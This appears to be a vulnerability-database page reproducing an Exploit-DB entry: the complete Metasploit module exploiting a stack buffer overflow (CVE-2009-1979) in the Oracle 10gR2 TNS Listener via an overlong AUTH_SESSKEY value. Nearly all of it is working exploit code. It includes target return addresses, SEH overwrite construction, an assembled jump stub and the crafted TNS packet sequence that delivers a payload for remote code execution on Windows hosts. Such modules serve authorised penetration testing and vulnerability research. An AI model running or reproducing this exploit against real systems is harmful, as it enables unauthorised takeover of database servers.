Lucene search
K

Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)

🗓️ 24 Nov 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 51 Views

Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow exploi

Related
Code
##
# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TNS
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Oracle. When
				sending a specially crafted packet containing a long AUTH_SESSKEY value
				to the TNS service, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11128 $',
			'References'     =>
				[
					[ 'CVE', '2009-1979'],
					[ 'OSVDB', '59110'],
					[ 'BID', '36747'],
					[ 'URL', 'http://blogs.conus.info/node/28' ],
					[ 'URL', 'http://blogs.conus.info/node/35' ],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 0x17e,
					'BadChars' => "", # none, thx memcpy!
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],

					[ 'Oracle 10.2.0.1.0 Enterprise Edition',
						{
							# Untested
							'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
						}
					],
					[ 'Oracle 10.2.0.4.0 Enterprise Edition',
						{
							# Tested OK - 2010-Jan-20 - jduck
							'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
						}
					]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Oct 20 2009'))

		register_options(
			[
				Opt::RPORT(1521)
			], self.class)
	end


	def check
		version = tns_version
		if (not version)
			raise RuntimeError, "Unable to detect version!"
		end
		print_status("Oracle version reply: " + version)
		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
		return Exploit::CheckCode::Safe
	end


	def exploit

		mytarget = nil
		if target.name =~ /Automatic/
			print_status("Attempting automatic target detection...")

			version = tns_version
			if (not version)
				raise RuntimeError, "Unable to detect version!"
			end

			if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
				mytarget = targets[1]
			elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
				mytarget = targets[2]
			end

			if (not mytarget)
				raise RuntimeError, "Unable to automatically detect the target"
			end

			print_status("Automatically detected target \"#{mytarget.name}\"")
		else
			mytarget = target

			print_status("Attacking using target \"#{mytarget.name}\"")
		end


		username = rand_text_alphanumeric(0x1c)

		connect

		print_status("Sending NSPTCN packet ...")
		connect_data = "" +
			"(DESCRIPTION=" +
				"(CONNECT_DATA=" +
					"(SERVICE_NAME=orcl)" +
					"(CID=" +
						"(PROGRAM=client.exe)" +
						"(HOST=client_host)" +
					")" +
				")" +
				"(ADDRESS=" +
					"(PROTOCOL=TCP)" +
					"(PORT=1521)" +
				")" +
			")"
		nsptcn_pkt = tns_packet(connect_data)
		sock.put(nsptcn_pkt)

		# read NSPTRS (expecting 8 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		print_status("Re-sending NSPTCN packet ...")
		sock.put(nsptcn_pkt)

		# read NSPTAC (expecting 32 bytes)
		begin
			res = sock.get_once(-1, 1)
		rescue ::Errno::ECONNRESET, EOFError
			raise RuntimeError, "OOPS, maybe the service hasn't started completely yet, try again..."
		end
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send NA
		print_status("Sending NA packet ...")
		na_stuff = [0xdeadbeef].pack('N') +
			"\x00\x92" +
			"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
			"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
			"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
			"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
			"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
			"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
			"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
			"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
			"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
		na_pkt = nsptda_packet(na_stuff)
		sock.put(na_pkt)

		# read response (expecting 127 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send TTIPRO
		print_status("Sending TTIPRO packet ...")
		ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
			"IBMPC/WIN_NT-8.1.0" +
			"\x00"
		ttipro_pkt = nsptda_packet(ttipro_stuff)
		sock.put(ttipro_pkt)

		# read response (expecting 179 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send TTIDTY
		print_status("Sending TTIDTY packet ...")
		ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
			"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
			"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
			"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
			"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
		ttidty_pkt = nsptda_packet(ttidty_stuff)
		sock.put(ttidty_pkt)

		# read response (expecting 22 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# send first auth pkt (call OSESSKEY)
		print_status("Calling OSESSKEY ...")
		params = []
		dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
		sock.put(dtyauth_pkt)

		# read RPA (expecting 225 bytes)
		res = sock.get_once(-1, 1)
		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

		# build exploit buffer
		print_status("Calling kpoauth with long AUTH_SESSKEY ...")
		sploit = payload.encoded
		sploit << rand_text_alphanumeric(0x19a - 0x17e)
		sploit << generate_seh_record(mytarget.ret)
		distance = payload_space + 8 + 5
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

		# ensure bad ptr is derefed
		value = rand(0x3fffffff) | 0xc0000000
		sploit[0x17e,4] = [value].pack('V')

		# send overflow trigger packet (call kpoauth)
		params = []
		params << {
			'Name'   => 'AUTH_SESSKEY',
			'Value'  => sploit,
			'Flag'   => 1
		}
		dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
		sock.put(dtyauth_pkt)

		# expecting disconnect...
		if (res = sock.get_once(-1, 1))
			print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
			raise RuntimeError, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/"
		end

		handler
		disconnect
	end


	def tns_version
		connect
		version = "(CONNECT_DATA=(COMMAND=VERSION))"
		pkt = tns_packet(version)
		sock.put(pkt)
		sock.get_once
		res = sock.get_once(-1, 1)
		disconnect
		return res
	end


	def nsptda_packet(data)
		pkt = [data.length + 10].pack('n')    # NSPHDLEN
		pkt << [0].pack('n')                  # NSPHDPSM
		pkt << [6].pack('C')                  # pkt type
		pkt << [0].pack('C')                  # reserved
		pkt << [0].pack('n')                  # NSPHDHSM
		pkt << [0].pack('n')                  # NSPDAFLG
		pkt << data
		return pkt
	end


	def dtyauth_packet(opi, user, flag, params)
		dunno = 2
		dunno = 3 if opi == 0x73

		pkt = [3, opi, dunno].pack('CCC')

		pkt << [-2].pack('V')
		pkt << [user.length].pack('V')
		pkt << [flag].pack('V')

		pkt << [-2].pack('V')
		pkt << [params.length].pack('V')
		pkt << [-2].pack('V')
		pkt << [-2].pack('V')

		pkt << [user.length].pack('C')
		pkt << user

		params.each { |param|
			name = param['Name']
			pkt << [name.length].pack('V')
			pkt << [name.length].pack('C')
			pkt << name

			val = param['Value']
			pkt << [val.length].pack('V')
			if (val.length > 0)
				if (val.length > 0xff)
					pkt << chunkify(val)
				else
					pkt << [val.length].pack('C')
					pkt << val
				end
			end

			flag = param['Flag']
			pkt << [flag].pack('V')
		}
		return nsptda_packet(pkt)
	end


	def chunkify(buf)
		ret = ""
		if buf.length > 0xff
			ret << "\xfe"

			while (buf.length > 0xff)
				ret << "\xff"
				ret << buf.slice!(0, 0xff)
			end
			if buf.length > 0
				ret << [buf.length].pack('C')
				ret << buf
			end

			ret << "\x00"
		else
			ret << [buf.length].pack('C')
			ret << buf
		end
		return ret
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Nov 2010 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 210
EPSS0.85749
51